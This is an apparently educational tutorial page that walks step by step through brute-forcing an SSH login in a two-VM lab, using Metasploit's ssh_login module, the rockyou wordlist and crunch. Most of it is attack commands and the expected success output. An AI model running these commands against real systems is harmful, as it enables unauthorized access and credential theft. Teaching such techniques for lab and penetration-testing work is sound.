Security Concepts

[Day 12] 1. SSH Password Cracking Brute Force

D
DITISS Admin
••4 min read

Setup:

  1. Environment Preparation:

    • Have two virtual machines running Kali Linux or any Debian-based.
    • One machine will act as the target (running SSH service) and the other as the attacker (running Metasploit).
    • Ensure that both the machines are in the same network and are able to ping to each other.
  2. Ensure SSH is Enabled on the Target Machine:

    • Start the SSH service on the target machine:

      bash
      sudo service ssh start
      
    • Confirm SSH is running:

      bash
      sudo netstat -tuln | grep 22
      
    • Note the target machine's IP address:

      bash
      ip a
      
  3. Install Necessary Tools:

    • Ensure Metasploit is installed on the attacker machine:

      bash
      msfconsole
      

Steps to Perform Brute Force Attack:

  1. Start Metasploit Framework:

    • Launch Metasploit on the attacker machine:

      bash
      msfconsole
      
  2. Load the SSH Login Module:

    • Use the Metasploit SSH login auxiliary module:

      bash
      use auxiliary/scanner/ssh/ssh_login
      
  3. Set Target Parameters:

    • Set the target IP address:

      bash
      set RHOSTS <Target_IP>
      
    • Specify the username to attempt login:

      bash
      set USERNAME <username>
      

      Replace

      <username>
      with the actual username you want to test.

  4. Specify the Wordlist for Passwords:

    • Use a pre-existing password list or create one:

      bash
      set PASS_FILE /usr/share/wordlists/rockyou.txt
      
    • Ensure the

      rockyou.txt
      file is uncompressed:

      bash
      gunzip /usr/share/wordlists/rockyou.txt.gz
      
    • You can also use your own password list:
bash
		crunch 4 4 0123456789 -o password.txt
  1. Set the Number of Threads:

    • To speed up the process, set multiple threads:

      bash
      set THREADS 4
      
  2. Initiate the Attack:

    • Start the brute force attack:

      bash
      run
      
    • Metasploit will iterate through the password list, trying to log in using the provided username.

  3. Analyze Results:

    • If a correct password is found, it will be displayed in the output:

      [SUCCESS] <Target_IP>:22 - Success: '<username>:<password>'
      

Post-Attack Cleanup:

  1. Stop the SSH Service on the Target (Optional):

    bash
    sudo service ssh stop
    
  2. Document Findings:

    • Note the cracked credentials and include them in your report.
  3. Ethical Responsibility:

    • Avoid causing harm or retaining unauthorized access to systems. Inform relevant authorities or owners about the findings if it’s a penetration test.

Read Next

8/26/2026

[Day 12] 2. Cracking ZIP file password using fcrackzip

#### **1. Prepare Your Environment** 1. **Install `fcrackzip`:** - `fcrackzip` is pre-installed on most Kali Linux distributions. If not...

8/26/2026

[Day 12] 3. DoS using msfconsole

#### **1. Prepare Your Environment** 1. **Target Setup:** - Identify the target machine's IP address: ```bash...